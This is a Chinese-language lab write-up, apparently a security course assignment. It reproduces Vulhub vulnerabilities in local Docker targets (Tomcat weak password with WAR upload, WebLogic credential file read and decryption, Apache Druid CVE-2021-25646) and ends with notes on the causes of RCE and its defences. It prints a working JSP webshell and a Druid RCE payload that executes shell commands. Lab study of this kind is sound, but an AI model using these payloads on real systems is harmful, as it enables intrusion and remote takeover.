目录
任务一:在vps安装docker和docker-compose
任务二:上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
任务一:在vps安装docker和docker-compose
任务二:上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
1.tomcat
在虚拟机中进入到vulhub目录下的tomcat,找到tomcat8,输入如下命令生成容器
命令docker ps -a查看当前容器,可以查看到已经有tomcat8的容器了
浏览器访问
出现以下界面
点击红色部分可进入登录界面
弹出窗口提示需要输入账号密码
可抓包进行弱口令爆破,得到账号密码为tomcat,tomcat
进入后点击List Applications
下滑找到上传文件处
需要上传war类型的文件,在桌面新创一个shell.jsp,填入如下内容
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>
打开终端,切换到shell.jsp目录下,输入jar -cvf shell.war shell.jsp,将jsp打包成war文件
选择上传打包好的war文件,上传完成之后就可以看到多了一栏数据
打开中国蚁剑,点击添加数据如图(ps:关闭代理设置)
密码依据如下,IP为建立vulhub靶场的主机ip
点击测试连接,成功
点击添加,选中目标右键查看“文件管理”
漏洞成因
1.弱口令,登录的账号密码过于简单,可直接抓包进行暴力破解
2.在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell
2.weblogic-weak_password
在kali docker 容器中启动此漏洞环境
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。
SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的一串乱码(密钥),右键“复制到文件”就可以保存成一个文件
在浏览器中输入:
主机ip(这里是121.199.45.10):7001/hello/file.jsp?path=security/SerializedSystemIni.dat
并选择在bp的内嵌浏览器中抓取,方便抓包
发送到重放器点击发送
将上图红色框住的部分选中,“复制到文件”,命名为SerializedSystemIni.dat
再抓取 config.xml 的包,(输入:靶场主机ip:7001/hello/file.jsp?path=config/config.xml
)找到加密后的管理员密码
发送到重放器后点击发送
搜索关键字符串password,可以看到用户名为weblogic,密码为AES加密的
在\vulhub-master\weblogic\weak_password\decrypt目录下找到解密工具,解密出明文密码
访问 靶场主机IP(121.199.45.10):7001/console/login/LoginForm.jsp 账号输入:weblogic ,密码是上面的解密密码,注意大小写
登录后点击左边的“部署”
点击下面的安装
点击上载文件
打开哥斯拉生成jsp类型的木马
在cmd中转换文件为war类型
在页面中上传文件,选择下一步
继续点击下一步
最后点击完成,部署成功
打开冰蝎,新增目标,密码为pass,点击测试连接,成功
点击添加,选中目标右键选择进入,可以进行命令执行,复现成功
3.CVE-2021-25646
进入vulhub/apache-druid/CVE-2021-25646目录下,输入命令拉取镜像并启动
(ps:若端口被占用,查看容器是否有同样的端口,使用stop停止容器;若没有,直接查看端口,使用kill命令杀死对应进程)
启动成功后访问对应主机端口的界面
进入首页后点击Load data —> Local disk —> Connect data
右侧 base directory 填入quickstart/tutorial/
file filter填入wikiticker-2015-09-12-sampled.json.gz
点击apply,接下来一直next,直到下一步是Filter时进行抓包
抓到对应的数据包了,后面只需改掉data部分即可RCE。
DNSlog
打开dnslog网站,点击get subdomain
发送到重放器,改变data部分为(ping的是在dnslog得到的subdomian)
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping xxxxx.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
点击发送得到响应,打开dnslog,点击刷新,有结果,说明漏洞存在
任务三:总结RCE漏洞的原理和利用条件及解决方案
1.什么是RCE漏洞,以及产生原理
RCE(remote command/code execute,远程命令执行)漏洞,允许攻击者在目标系统上远程注入并执行任意代码。这种漏洞通常是由于应用系统在处理用户输入或与外部环境交互时,未能进行充分的安全验证和过滤,导致攻击者能够提交恶意输入,进而触发代码执行。
2.RCE利用条件
(1)没有安全的验证输入:代码中没有对用户的输入进行充分的安全验证和过滤,导致攻击者能够提交恶意输入。
(2)动态代码没有合适的安全控制:某些应用需要动态执行用户提交的代码或命令,如果在这个过程中未进行适当的安全控制,就可能导致远程代码执行。
(3)没有输入转义和验证:当应用程序接受用户输入,并将这些输入直接传递给操作系统或其他命令行工具时,如果没有对输入进行适当的转义或验证,攻击者就可以通过提交恶意输入来注入并执行任意命令。
3.RCE防范(解决方法)
(1)输入验证:对所有用户输入进行严格的安全验证和过滤,并对所有其他输入进行适当的编码或转义。这包括对用户提交的数据、命令和参数进行严格的验证和过滤,以防止恶意输入的注入和执行。
(2)参数化查询:使用参数化查询或预编译的语句来执行数据库查询。这可以防止攻击者注入恶意SQL代码,确保数据库的安全性。
(3)最小权限原则:确保应用程序和服务以最小的权限运行。避免赋予不必要的权限,只授予完成必要的任务的最少权限。
(4)及时对系统进行更新和维护:保持系统和应用程序的最新状态。及时应用安全更新和补丁,并修复已知的漏洞和缺陷。
(6)监控和日志记录:实施全面的监控和日志记录机制,有利于及时检测和响应可疑的活动和异常行为,并及时对紧急事件进行响应。